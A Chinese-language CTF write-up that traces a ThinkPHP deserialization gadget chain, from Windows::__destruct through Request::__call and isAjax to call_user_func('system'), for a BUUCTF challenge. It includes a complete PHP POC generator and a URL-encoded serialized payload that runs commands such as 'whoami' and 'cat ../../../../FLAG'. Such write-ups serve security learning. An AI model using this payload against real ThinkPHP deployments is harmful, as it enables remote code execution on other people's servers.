声明
好好向大佬们学习!!!
这个thinkphp的反序列化,第一次接触的时候,一个字都看不懂,把全网关于thinkphp反序列化的都看了一遍,总算理解了百分之五六十了,然后把这个心酸、艰辛的历程记录下来,要想吃透thinkphp反序列化,一定要先明白php的反序列化,多看几个php反序列化的例子,最好自己写出一个demo(很简单,网上一大堆)
攻击
摘自
https://book.nu1l.com/tasks/#/
使用BUUCTF在线环境
https://buuoj.cn/challenges
访问
http://72b1f71b-d44d-4562-8bac-db517053ebc4.node3.buuoj.cn
访问后,点击download code,下载了,竟然是thinkphp的代码,不用说了,就是让我们自己分析thinkphp的代码,然后,找到可以反序列化的地方,执行代码
在这里,为了方便复现+理解,我下载安装了phpstudy(这个直接把下载下来的thinkphp源码放到WWW下,启动apache,就和BUUCTF看到的一样了),phpstorm(主要用于thinkphp反序列化利用链分析)
话不多说,开始
thinkphp反序列化利用链分析
这一章节,看不看得懂都无所谓,因为这一章,如果第一次看别的大佬文章的时候,我也看不懂,反复看POC反序列化链跟踪,看了NNNNNNN+1遍后,这一章稍微能看懂了,如果各位第一遍看的时候,看蒙了,千万不要一直看,先把第二章节-漏洞复现和第三章节-POC反序列化链跟踪,看透吃透,再回过头看这个,可能更好理解
按照惯例,找利用的入口,一般会选择php的魔术方法,这里用的是__destruct()
使用phpstorm打开thinkphp的源码文件,ctrl+shift+F全局搜索__destruct(),发现Windows类,如果你非常熟悉php的反序列化
就会知道,如果我们利用漏洞时,序列化出一个Windows的对象,那么在执行反序列化的时候,这个__destruct()就会执行,双击进入Windows.php中
可以看到,__destruct()函数调用了$this->removeFiles()函数,那么我们继续跟进removeFiles()函数,学过开发的童鞋,都知道像这种编辑器,eclipse这种,按住Ctrl,直接点方法名称,就可以跳转过去,真好用
可以看到,removeFiles()函数还在Windows.php中,这里建议百度一下foreach、file_exists()
一个简易的遍历for循环,这里要遍历 t h i s − > f i l e s 数 组 , 检 查 this->files数组,检查 this−>files数组,检查this->files数组中每一个元素是否是文件,那么就要求我们构造的POC里,Windows类中,有files变量,并且是一个数组
跟到这里进行不下去了,也没看到RCE的影子啊,But,file_exists()函数,是一个很重要的函数,当我们传入的参数值是一个对象的时候,file_exists()会调用__toString方法,把这个对象转换成字符串,然后再判断,所以到这里我们就又确信两点:
1.构造POC中files变量要是一个数组,并且数组的元素要是对象
2.找到__toString()函数,进入到我们的下一站,Windows类中没有,这个函数,只能全局搜索,再找关系
3.如果file_exists()的执行为true,会执行unlink,对$filename进行删除,这里是不是有点草率?
phpstorm全局搜索__toString()
双击进入Conversion.php中,在这个类中,有__toString()函数
也就是说,我们现在是从Windows类中跳过来的,跳到了Conversion类中,那么POC在构造的时候,就想办法让这两者,通过继承、use包含,产生一定微妙的关系,那么如何产生关系,这里简单说明一下
我通过全局搜索,发现,Model类,是一个抽象类,使用use包含了Conversion类
Pivot类继承了Model类
看到这里,我们可以通过将files,没忘记上面提到的files对象数组(是个数组,每个元素是个对象)吧?
POC中,files的内容,写成Pivot的对象,并且让Pivot类继承Model类,不就找到了Model类,进而找到了Conversion类,从而调用__toString()函数
好的,我们继续
还在Conversion类,__toString()函数调用了toJson()函数
继续
还在Conversion类,toJson()函数调用了toArray()函数
继续
还在Conversion类,toArray()函数中,这里是一大难点,我把不必要的代理点击左边的隐藏
我们一个函数一个函数跟踪
关键代码拷贝下来,得仔细看了
......此处省略一百八十行代码
//!empty($this->append),只有当append变量不为空,才会往下进行,所以我们的POC得构造一个不为空的append变量
if (!empty($this->append)) {
//开始使用foreach遍历append遍历,并且是键->值,所以我们构造的append变量还得是个键值对形式的
foreach ($this->append as $key => $name) {
//判断name是否为数组,所以我们构造的append的值,要是一个数组
if (is_array($name)) {
//按照上述说的构造append,就会进入到这里,下面就是relation的问题了,但是我们这里要考虑一个问题,需要让代码继续往下走
// 追加关联对象属性
$relation = $this->getRelation($key);
//代码继续往下走,意味着if (!$relation)和if (!$relation),这两个条件都要成立
if (!$relation) {
$relation = $this->getAttr($key);
if (!$relation) {
$relation->visible($name);
}
}
......此处省略八十行代码
上面的代码块,到了 t h i s − > g e t R e l a t i o n ( this->getRelation( this−>getRelation(key),无法进行,因为需要跳转到另一个trait RelationShip类里面,进入这个类里面的getRelation()函数中
可以看到,这个函数,有三个分支(return),那我们上面的代码分析,提到,需要让代码往下走,所以if (!$relation),要为真,所以
! r e l a t i o n 为 t r u e , relation为true, relation为true,relation为null,那么就是进入到第三个return
//我的理解,为了自圆其说
//这里传过来的$name,实际上是,键值,要想最后返回空,那么前两个if都不能成立
public function getRelation($name = null){
//第一个if,传过来的参数不能为空,也就要求,构造的POC,键不能为空
if (is_null($name)) {
return $this->relation;
//第二个if,要求,传过来的键,不能在$this->relation数组中,但是我往上翻,这个类定义的relation变量默认值为空
//所以我们构造的时候,不传系统默认的,应该就没问题
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
那么getRelation($key)成功过关,继续下一关
......此处省略一百八十行代码
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
//如果getRelation($key)为空,那么$relation为空,那么,就可以往下进行
if (!$relation) {
//这里继续把键值传给getAttr($key)函数,我们进入getAttr($key)函数
$relation = $this->getAttr($key);
if (!$relation) {
$relation->visible($name);
}
}
......此处省略八十行代码
我们在Attribute类找到了getAttr()函数,可以看到,getAttr()函数最后一行,最终是要返回value的值,而拿到了天使剧本(跟踪整个POC链后)发现了,value变量的值,就是第477行的 t h i s − > g e t D a t a ( this->getData( this−>getData(name),那只能再进入getData($name)函数了
依旧在Attribute类找到了getData()函数,下图红框,就是要进入的分支
我们来看详细代码
public function getData($name = null){
//传过来的键值不为空,所以跳过这个if,进入下一个if
if (is_null($name)) {
return $this->data;
//最后POC反序列化后,是进入到这里了,因为这里面我们可以在POC构造一个data变量(键值对),最后根据传过来的键,返回data中对应的值
//那么,第三个if中,relation为什么不能构造了?
//因为上面说到getRelation()函数要返回空,所以array_key_exists($name, $this->relation)必须为false
//综上所述,我们这里,在POC中,还需要构造一个data变量,并且也是个键值对的形式,并且键就是传过来的
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
好了,根据键,获取值,所以,结论如下
$relation = $this->getAttr($key) = $this->getData($name) = $this->data[$name]
这里的$name,实际在传参时传的是$key,所以在Conversion类中
$relation = this->data[$key]
再次回到Conversion类
......此处省略一百八十行代码
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
//$relation = $this->data[$key]
if (!$relation) {
//$relation现在的值为data[$key],所以我们在构造POC时,data中不要又visible,为什么呢
//在php中,如果调用不存在的方法时,会自动调用__call()函数,前提是这个对象实现了或者继承了__call()
//在本例中,如果visible()函数不存在,会把visible和name作为参数传给__call()
//那么关键问题
//是_call()在哪?这里就要引入Request类了,因为,大佬们,通过全局搜索,搜索到了Request类里面有__call()
//怎么和_call()扯上关系?如果$relation = $this->data[$key] = Request的对象呢?
$relation->visible($name);
}
}
......此处省略八十行代码
进入Request类
代码分析,可以看到这个Request类中,不仅有__call(),还有call_user_func_array(),call_user_func_array()一般就是RCE的最后一站
//这里传过来的参数是visible(上面那个不存在函数),在本函数为method,和name(name是append数组的值),在本函数为args
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook))这里暗示我们POC可能需要构造一个hook变量,并且存在键名为visible
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
//这里本身通过call_user_func_array()函数已经要可以进行RCE了,因为hook和args,都可控,但是But然而
//上面有一个很刺眼的array_unshift()函数,这个会改变我们的args变量,所以这里,只能通过POC构造hook,使hook指向一个函数
//再利用call_user_func_array()调用hook指向的那个函数,在那个函数里,再找危险函数,所以hook在这里起中转站的作用
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
还在Request类中,搜索call_user_func()
找到了filterValue()中也是有call_user_func()这个危险函数的
如下图,所以我们要向RCE,就要控制1466行的call_user_func($filter, $value),那么就要控制filter和value,但是value始终都会被上面的那个该死的array_unshift()改变,所以我们需要找到调用filterValue()的地方
还在Request类中,找到了input()方法,但是这个 input()方法中的data还是形参,还是不可控,再找调用input方法的地方
还在Request类中,找到了param()方法,但是这个 param()方法中的name还是形参,还是不可控,再找调用param方法的地方
还在Request类中,找到了isAjax()方法,这里在调用param()方法时,不再是用形参了,我们可以构造了
所以hook变量那里面,中转,要中转到isAjax()方法,并且我们要构造一个config变量
找到了链的起始位置为isAjax(),而执行代码的位置为input()函数中的filterValue()函数,我们把代码汇总
在input()方法,会调用getData()函数和getFilter()方法,然后再调用filterValue()函数,我们把这几个函数放在一起
//在input()函数中
//通过getData()函数获取用户的get以及post组成的数组,值为data
//这个data会被当做filterValue()函数的第一个参数,并执行函数
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}
return $data;
}
//这里是对filter对象的的值进行一个赋值,从$filter = $filter ?: $this->filter
//并且把赋值后的fileter传给filterValue()函数的第三个参数,并执行函数
//所以我们需要构造一个fileter
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
$this->filterValue($data, $name, $filter);
//input()函数之外
//这里call_user_func($filter, $value)
//call_user_func()的两个参数都来自filterValue()接收的参数
//也就是说用户GET或POST传过来的参数,是call_user_func()的第二个也就是RCE的参数
//POC构造的filter,是call_user_func()的第一个也就是最终执行的危险函数
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $value;
}
thinkphp反序列化利用链分析结束了
看到这里,其实大多数人是蒙的,因为本身这个链,就很复杂,很多个转点,描述的时候,尚且很困单,更何况看的人了,这里用一张图,来简述一下
漏洞复现
安装完phpstudy,将tp代码拷贝到WWW下,然后开启phpstudy,我用的默认80端口,然后把tp源码文件,放到了刚创建的thinkphp文件夹下,我把POC放到了WWW下
访问POC,POC在第四章节,生成恶意反序列化字符串
火狐POST访问,执行代码,POST的参数,就是生成的反序列化字符串
http://IP/public/?s=index/index/helloðan=whoami
str=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22calc.exe%22%3Bi%3A1%3Bs%3A4%3A%22calc%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3BO%3A13%3A%22think%5CRequest%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visible%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A9%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A1%3A%7Bs%3A8%3A%22var_ajax%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D%7D%7D
拿到flag,我自己本地可没flag,这得用BUUCTF的在线环境呢,开一个,拿到flag(其实省略了很多ls的过程)
http://a76bf014-4aa0-4668-8f2d-76573a81b658.node3.buuoj.cn/thinkphp/public/?s=index/index/helloðan=cat ../../../../FLAG
str=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22calc.exe%22%3Bi%3A1%3Bs%3A4%3A%22calc%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3BO%3A13%3A%22think%5CRequest%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visible%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A9%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A1%3A%7Bs%3A8%3A%22var_ajax%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D%7D%7D
POC反序列化链跟踪
所谓温故而知新,可以为师矣,源码也审计过了,漏洞也复现过了,那么为什么我们POST传了一个字符串,GET传入了一个命令,就把我们的命令执行了?相信有一部分人还很萌+蒙,那么这一章节,就是用变量跟踪+phpstudy,通过POC入手,跟踪源码
代码不好懂的,我已经整理成表格了
首先,根据源码,可以看到Index.php是接收我们变量的地方
访问一下
在Index类中,会将我们传入的序列化字符串进行反序列化,生成Windows的对象,在这个对象不用的时候,会调用__destruct()函数
先看下图中红框,按照我们POC的执行,这里的append经过反序列化后,应该是一个键对应一个数组
键为:ethan
值为:[“calc.exe”,“calc”]
所以,往下的函数调用中
key:ethan
name:[“calc.exe”,“calc”]
relation:从未操作过,所以为null,但是下次就不能直接vardump()一个空的了,不然程序就不往下进行啦
可以看到,输出了,name还是键值,relation,还是null,没动过,最后前两个if分支都没进入,直接return;
name:ethan
relation:null
可以看到name还是键,value这里已经是一个Request的对象了
name:键
value:Request对象
所以经过上面这一步,value是一个Request的对象,所以下面的relation也应该是Request的对象
进入Request类,可以看到
method:visible
$this->hook[$method]:isAjax()
array_unshitf前
args:Array ( [0] => Array ( [0] => calc.exe [1] => calc ) )
array_unshitf后
args:Array ( 一大坨..... [0] => Array ( [0] => calc.exe [1] => calc ) )
所以我们在最后的call_user_func_array,传入这样一个有一大坨的args,就算执行了危险函数,页面没法执行calc进程
另辟蹊径,通过hook找到了isAjax
$this->config['var_ajax']:null
进入到param()函数中,可以看到,这里是把我们通过POST和GET传入的参数都拿到了,而name依旧为空,并且最后进入的是return里面的input函数
param:array(2) { ["ethan"]=> string(6) "whoami" ["str"]=> string(400) "O:27:"think\process\pipes\Windows":1:{s:34:"think\process\pipes\Windowsfiles";a:1:{i:0;O:17:"think\model\Pivot":2:{s:9:"*append";a:1:{s:5:"ethan";a:2:{i:0;s:8:"calc.exe";i:1;s:4:"calc";}}s:17:"think\Modeldata";a:1:{s:5:"ethan";O:13:"think\Request":3:{s:7:"*hook";a:1:{s:7:"visible";a:2:{i:0;r:9;i:1;s:6:"isAjax";}}s:9:"*filter";s:6:"system";s:9:"*config";a:1:{s:8:"var_ajax";s:0:"";}}}}}}" }
name:string(0) ""
来到input()函数中
经过getFileter()函数后,filter为system
放松一下喝一杯卡布奇诺,我已经写了一身的汗了~
OK,准备进入最后一站,相信这一站,我不用过多的解释了,所以我们做了上面NNNNN+1的天秀操作,就是为了构造出POC让代码能顺利进行到这里成功执行call_user_func()函数,并且
filter:system
value:用户通过GEt请求输入的命令
POC
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["calc.exe","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>